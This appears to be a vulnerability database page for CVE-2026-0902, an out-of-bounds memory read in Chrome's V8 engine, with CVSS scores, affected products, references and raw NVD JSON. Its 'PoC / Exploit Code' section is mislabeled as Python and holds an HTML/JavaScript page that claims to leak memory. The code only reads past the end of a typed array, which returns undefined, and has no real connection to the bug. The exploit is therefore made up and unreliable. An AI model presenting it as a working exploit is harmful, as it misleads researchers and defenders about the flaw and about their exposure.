CVE-2026-0902

Description

Inappropriate implementation in V8 in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 144.0.7559.59

Chromium-based browsers (Edge, Opera, Brave, etc.) with V8 engine versions prior to the fix

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-0902 PoC - V8 Engine Out-of-Bounds Memory Read
// This PoC demonstrates the vulnerability in Google Chrome < 144.0.7559.59
// Author: Security Research

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-0902 PoC</title>
</head>
<body>
    <h1>V8 Out-of-Bounds Memory Read PoC</h1>
    <p>This is a demonstration of CVE-2026-0902 vulnerability.</p>
    
    <script>
        // Trigger V8 engine vulnerability for OOB read
        function triggerV8OOB() {
            try {
                // Create a typed array with specific size
                let arr = new Uint8Array(16);
                
                // Initialize array
                for (let i = 0; i < 16; i++) {
                    arr[i] = i;
                }
                
                // Trigger optimization path that leads to OOB access
                // This exploits the inappropriate implementation in V8
                for (let i = 0; i < 1000; i++) {
                    // Polymorphic call to trigger JIT optimization
                    triggerOptimization(arr);
                }
                
                // Attempt to read beyond array bounds
                // In vulnerable versions, this may succeed and leak memory
                let leakedData = [];
                for (let i = 0; i < 100; i++) {
                    try {
                        // Access memory beyond the original array
                        let value = arr[16 + i];
                        leakedData.push(value);
                    } catch (e) {
                        console.log("Access denied at index: " + (16 + i));
                    }
                }
                
                console.log("Leaked data length: " + leakedData.length);
                console.log("Leaked data sample: " + JSON.stringify(leakedData.slice(0, 10)));
                
                document.getElementById("result").innerHTML = 
                    "PoC executed. Check console for leaked data (if any).";
                    
            } catch (e) {
                console.error("Error during exploitation: " + e.message);
            }
        }
        
        function triggerOptimization(arr) {
            // Force JIT compilation path
            return arr.length * 2;
        }
        
        // Execute on page load
        window.onload = function() {
            triggerV8OOB();
        };
    </script>
    
    <div id="result"></div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0902
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0902
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0902/
[4] VulDB https://vuldb.com/cve/CVE-2026-0902
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/469143679

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0902", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:15.623", "lastModified": "2026-01-29T20:21:45.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in V8 in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}, {"lang": "es", "value": "Implementación inapropiada en V8 en Google Chrome anterior a 144.0.7559.59 permitió a un atacante remoto realizar una lectura de memoria fuera de límites a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Media)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-474"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/469143679", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}